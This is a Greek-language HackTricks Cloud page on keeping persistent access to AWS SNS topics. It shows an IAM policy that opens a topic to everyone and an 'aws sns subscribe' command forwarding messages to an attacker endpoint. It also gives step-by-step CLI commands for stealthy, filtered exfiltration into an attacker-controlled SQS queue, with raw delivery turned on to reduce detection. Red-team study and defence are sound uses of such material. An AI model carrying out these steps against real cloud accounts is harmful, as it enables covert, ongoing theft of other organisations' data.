AWS - SNS Persistence
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
SNS
Για περισσότερες πληροφορίες δείτε:
Επίμονη πρόσβαση
Κατά τη δημιουργία ενός SNS topic πρέπει να υποδείξετε με μία IAM policy ποιος έχει πρόσβαση για ανάγνωση και εγγραφή. Είναι δυνατό να υποδείξετε εξωτερικούς λογαριασμούς, ARN ρόλων, ή ακόμα το “*”.
Η ακόλουθη policy δίνει σε όλους στο AWS πρόσβαση για ανάγνωση και εγγραφή στο SNS topic με όνομα MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Δημιουργία Συνδρομητών
Για να συνεχίσει να εξάγει όλα τα μηνύματα από όλα τα θέματα, ένας επιτιθέμενος μπορεί να δημιουργήσει συνδρομητές για όλα τα θέματα.
Σημειώστε ότι αν το θέμα είναι τύπου FIFO, μόνο συνδρομητές που χρησιμοποιούν το πρωτόκολλο SQS μπορούν να χρησιμοποιηθούν.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Κρυφή, επιλεκτική exfiltration μέσω FilterPolicy σε MessageBody
Ένας επιτιθέμενος με sns:Subscribe και sns:SetSubscriptionAttributes σε ένα topic μπορεί να δημιουργήσει μια stealthy SQS subscription που προωθεί μόνο μηνύματα των οποίων το JSON body ταιριάζει με ένα πολύ στενό φίλτρο (για παράδειγμα, {"secret":"true"}). Αυτό μειώνει τον όγκο και την πιθανότητα ανίχνευσης ενώ εξακολουθεί να πραγματοποιείται exfiltration ευαίσθητων εγγραφών.
Πιθανός Αντίκτυπος: Κρυφή, χαμηλού θορύβου exfiltration μόνο των στοχευμένων μηνυμάτων SNS από ένα θύμα topic.
Βήματα (AWS CLI):
- Βεβαιωθείτε ότι η πολιτική της SQS ουράς του επιτιθέμενου επιτρέπει
sqs:SendMessageαπό το θύμαTopicArn(Conditionaws:SourceArnequals theTopicArn). - Δημιουργήστε SQS subscription για το topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Ορίστε το φίλτρο να λειτουργεί στο MessageBody και να ταιριάζει μόνο
secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Προαιρετική διακριτικότητα: ενεργοποιήστε το raw delivery ώστε μόνο το raw payload να φτάνει στον παραλήπτη:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Επαλήθευση: δημοσιεύστε δύο μηνύματα και επιβεβαιώστε ότι μόνο το πρώτο παραδόθηκε στην ουρά του επιτιθέμενου. Παραδείγματα payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Καθαρισμός: απεγγραφείτε και διαγράψτε την SQS ουρά του επιτιθέμενου αν δημιουργήθηκε για persistence testing.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

